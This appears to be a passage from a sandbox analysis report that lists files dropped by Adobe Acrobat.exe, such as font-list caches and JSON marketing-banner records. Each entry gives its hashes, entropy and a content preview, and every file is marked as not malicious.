Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2676

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.2676

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.322903991643715
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP+ZH7+FIbRI6XVW7+0YI2KoAvJM3g98kUwPeUkwRe9:YvXKX2ZSYpW7T25GMbLUkee9
MD5:	7398F49D9F941FDF9362E1C02DBA7DE6
SHA1:	12D347FE35F08E972D60050B59DA2274AFD2276D
SHA-256:	B441EDE7ED59005D54049E1616696DC4827D8D96D9F05FBBCDF4C153A19DA603
SHA-512:	32496FAB2732A0E0524BEFE565CB4F583E32F75675B5E6D905EF95CD9726B761FD23565D5CC45BBDBC87295522655BD5CDC7E02FC351C28B757F041F23CBD38B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"80d82fad-faec-4b30-84f2-24250e322e5a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736752972637,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.258649056742165
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP+ZH7+FIbRI6XVW7+0YI2KoAvJfBoTfXpnrPeUkwRe9:YvXKX2ZSYpW7T25GWTfXcUkee9
MD5:	C5E25B13C0CAB458F60B20A1A069E6BE
SHA1:	1B1E46285F50650A35F8E25D0389FC9ED30B63A1
SHA-256:	3479CF0888C5DF0E3425FDD53B90E8969A151B793A1FEB2D7ED3ECA99B2DD3F7
SHA-512:	C0A795742C1C494B4A73931BE949FB206B092A6E153EF69F030D4E2F81CE5350BE01836F65F3339A193EC96E8DFB426E198D61DB0A00C98D12ABFBA963DB8AD6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"80d82fad-faec-4b30-84f2-24250e322e5a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736752972637,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.237916850656835
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP+ZH7+FIbRI6XVW7+0YI2KoAvJfBD2G6UpnrPeUkwRe9:YvXKX2ZSYpW7T25GR22cUkee9
MD5:	2B86E51AFD46F759CE725ED30D6EF271
SHA1:	344B6DDEA04DD37060FEFF937BD60EDA13B30A08
SHA-256:	82FF828A319A0D5A3E4A43D86E5F7AC89D688522499993E37056FAF04BECCB6F
SHA-512:	A5422B99B932D57343D4EAD8EC7554DB98C8D12C1AEB2ACD9C730D3A9B62F943796FC7040B863ECAA4732905618A7216F61B481ABFD275FBD2DAED6D4F868CA3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"80d82fad-faec-4b30-84f2-24250e322e5a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736752972637,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.30037724141437
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP+ZH7+FIbRI6XVW7+0YI2KoAvJfPmwrPeUkwRe9:YvXKX2ZSYpW7T25GH56Ukee9
MD5:	53BB8C44A0A9006E7D2D73C9D007AF17
SHA1:	ED790342D9DCEE0A6ECDE265C1D1C8B32ACB2996
SHA-256:	A9E0DF54FE89B6C20B2F86CFA94FE15A9C96CE6F3A875C4AED9A63AE93C4A371
SHA-512:	B436E6D02ADC358B77F17926F7526E67FFF52E04FBC19C158C5D9C5A00B6F7BB9A4AE67AA1881A31181491BCC104860009F780C58DCCFE2DA20987E11B7AF1A8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"80d82fad-faec-4b30-84f2-24250e322e5a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736752972637,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.687702902461088
Encrypted:	false
SSDEEP:	24:Yv6X2Z3iTZpLgE9cQx8LennAvzBvkn0RCmK8czOCCSd:YvfZSTZhgy6SAFv5Ah8cv/d
MD5:	0C12BCEAE881A69DF39353D0204827C1
SHA1:	9684204C751145FCB98D3B563DA959CE7FDD0B2A
SHA-256:	7F0419AFE8EB023E54D2BCB273E4F87F628BE135800C2150D867246DDC5FDDBE
SHA-512:	8C06BC424644AC275EFCEB04CBB837BBC5F0368B24EFF87A9CC021DA07D915D3B0B8CE6FBD86ADDBF0196D5C668AAD6F09EB097C59524F5BCB8AAF1115FC0800
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"80d82fad-faec-4b30-84f2-24250e322e5a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736752972637,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2438987894742155
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP+ZH7+FIbRI6XVW7+0YI2KoAvJf8dPeUkwRe9:YvXKX2ZSYpW7T25GU8Ukee9
MD5:	E14A95882A34B76221164790B836F995
SHA1:	A8D9758C4151B6583AC779B91CD53BD37607EAA3
SHA-256:	A3F205AE0D7A7921D7FFA0E42A100332C107B1BB3DE5429A563158C496913B1E
SHA-512:	D2A3E2CFBEA9CD2C55E69D6399049B2C21FAAF5452D20C86A02B908B42B2482713F57D7A864561EDB6956FAC18703C4A12609B26C7C71F58E5A07B73D49B0526
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"80d82fad-faec-4b30-84f2-24250e322e5a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736752972637,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.245464743858802
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP+ZH7+FIbRI6XVW7+0YI2KoAvJfQ1rPeUkwRe9:YvXKX2ZSYpW7T25GY16Ukee9
MD5:	E8591D58C6E3F9F23E797D97C2733880
SHA1:	10669EEFD0008E149FC5BB3695B9B1233350A900
SHA-256:	2FFEE01722F9FB254FAC59E5B168CA3C7B69B0C5A5302BE2F29118FB41644BC4
SHA-512:	9F62C235E411C1BB6979B6E6B90C98AA3FD56533B3CA26045176EAF7B90C0F48DE6FC84EED99EA5D82E90FADFDBE29521918217697606669502C9178F35AFEAB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"80d82fad-faec-4b30-84f2-24250e322e5a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736752972637,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.263915810875776
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP+ZH7+FIbRI6XVW7+0YI2KoAvJfFldPeUkwRe9:YvXKX2ZSYpW7T25Gz8Ukee9
MD5:	DE72D3A534910674FD3C2D3C20D762BA
SHA1:	FDC4DA98700FADAD64C43AF0FFAD022AF2D27DDE
SHA-256:	AB304732D1B7DECD173255F787558461F2824675011C31B9ED837D7CAE367825
SHA-512:	65144F4C9BA6C7F64B54E024FE270D13CB32C1C54E1EF530FE20D86AEC9DDEBA8038DE690079F18624BCA48A0C826EBBA909AD8D48F925A6D87C790FAF790F7B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"80d82fad-faec-4b30-84f2-24250e322e5a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736752972637,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.271172730085718
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP+ZH7+FIbRI6XVW7+0YI2KoAvJfzdPeUkwRe9:YvXKX2ZSYpW7T25Gb8Ukee9
MD5:	CB1FFA1A83004D1FB334FB50920A9C7B
SHA1:	6DFDD99D23BDBA63550190FB503428ACCD349456
SHA-256:	DDD69F8A1B7D999C3A3FE823616C49EC12A1431384D31695713BA93498010E54
SHA-512:	343A66EB193C1F2C005244B79E29B3B816774A4DB5DE786A9A1230AFD3E13BBF4619CED618159C044D15795CF7AED8373A9BA7A57C3626546CB584476BABC0E6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"80d82fad-faec-4b30-84f2-24250e322e5a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736752972637,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.251093447460664
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP+ZH7+FIbRI6XVW7+0YI2KoAvJfYdPeUkwRe9:YvXKX2ZSYpW7T25Gg8Ukee9
MD5:	C8AC93247B69FB9BCA1CD6E362F6541F
SHA1:	0FBB9999D9591A5ABA32DFE707FE0E6D0C5BB9EA
SHA-256:	7E91BB58ABE77493A98AFAA5F195003662B7F5954C211F4B609E3D39A027222D
SHA-512:	AB9A821C7F0D3AECE69040896179D93A06678FD3921193C23C9483536D03C14E1C390C4AE99FDA327B26A90F6CD2CA197A9B729CCF13D7D9ACAD3D076BD23240
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"80d82fad-faec-4b30-84f2-24250e322e5a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736752972637,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.236864143049431
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP+ZH7+FIbRI6XVW7+0YI2KoAvJf+dPeUkwRe9:YvXKX2ZSYpW7T25G28Ukee9
MD5:	2AA0A19CAF57F7130E67C2EFE71A185A
SHA1:	4365E820B8D4F992E0EDEDFF8C1753B86EF14250
SHA-256:	D93C0055CC4E61BF1A5078B034571D9090A0DCD33432F7D6ED678CE00FC34A61
SHA-512:	AF84C71D2335B7C8C7B6134039DDE03C3EABBF7834DD299BCC4214E06FF8867CFE216EE50620B3694B6ABFEE712915C0497B3EF27ED1CF5D1BBF75FDC0CB1932
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"80d82fad-faec-4b30-84f2-24250e322e5a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736752972637,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.234976672643388
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP+ZH7+FIbRI6XVW7+0YI2KoAvJfbPtdPeUkwRe9:YvXKX2ZSYpW7T25GDV8Ukee9
MD5:	981BC6BEFC58676D8388030257F3FBBF
SHA1:	C1D7677BB07D9D60DA6F70532D94350F5D9F7944
SHA-256:	C4A0086F1051301AE712AAE14EB97AE800567A1ACBAF9C7C1133CFAE7402B935
SHA-512:	579F489B216BC5D09153D9C890F7DBEC590E615676686C6EEBC531B272D453127E8F09720687D89E04D6C2AB8FC6DFCBAABEA0D9AB16C87FE33DF7530C4918C9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"80d82fad-faec-4b30-84f2-24250e322e5a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736752972637,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.236268817791999
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP+ZH7+FIbRI6XVW7+0YI2KoAvJf21rPeUkwRe9:YvXKX2ZSYpW7T25G+16Ukee9
MD5:	7128E2C147653BB02F46265F7730BF0E
SHA1:	98A2DF49CA2FE492226788644885749B043FF550
SHA-256:	8F5EEDB75225CB88DB272EDA60EDC9F79CCD6401CB699F1DBB762646D952874A
SHA-512:	4DD806AC7023A64BFF42F026A26716BA864DB67BA551A44AC58F4DEBFA6ECFDCDBC1A8920DD9E70BBD920F24FE60E9E96275EE7BE088DAA7B7F8D7061F9BE01F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"80d82fad-faec-4b30-84f2-24250e322e5a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736752972637,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.657406632508961
Encrypted:	false
SSDEEP:	24:Yv6X2Z3iTpamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSd:YvfZST1BgkDMUJUAh8cvMd
MD5:	C679C2C4DCB4DFACF701A6EA5CDF2B81
SHA1:	D73523715AFAB40C31E21EC4CB30F8EEDE977B30
SHA-256:	E462FDF7D381B516F9822F2B61D970D341A3FDA032975C3127F82E8874750C01
SHA-512:	F8D45313DBE98723F29943B446E42B545885B4EB7EA60B18085789AB4B166C4701E75A61209EAA23299FDC06B618678BB9F7FF743DE6D9F2515102A1660DEE76
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"80d82fad-faec-4b30-84f2-24250e322e5a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736752972637,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.210696365847138
Encrypted:	false
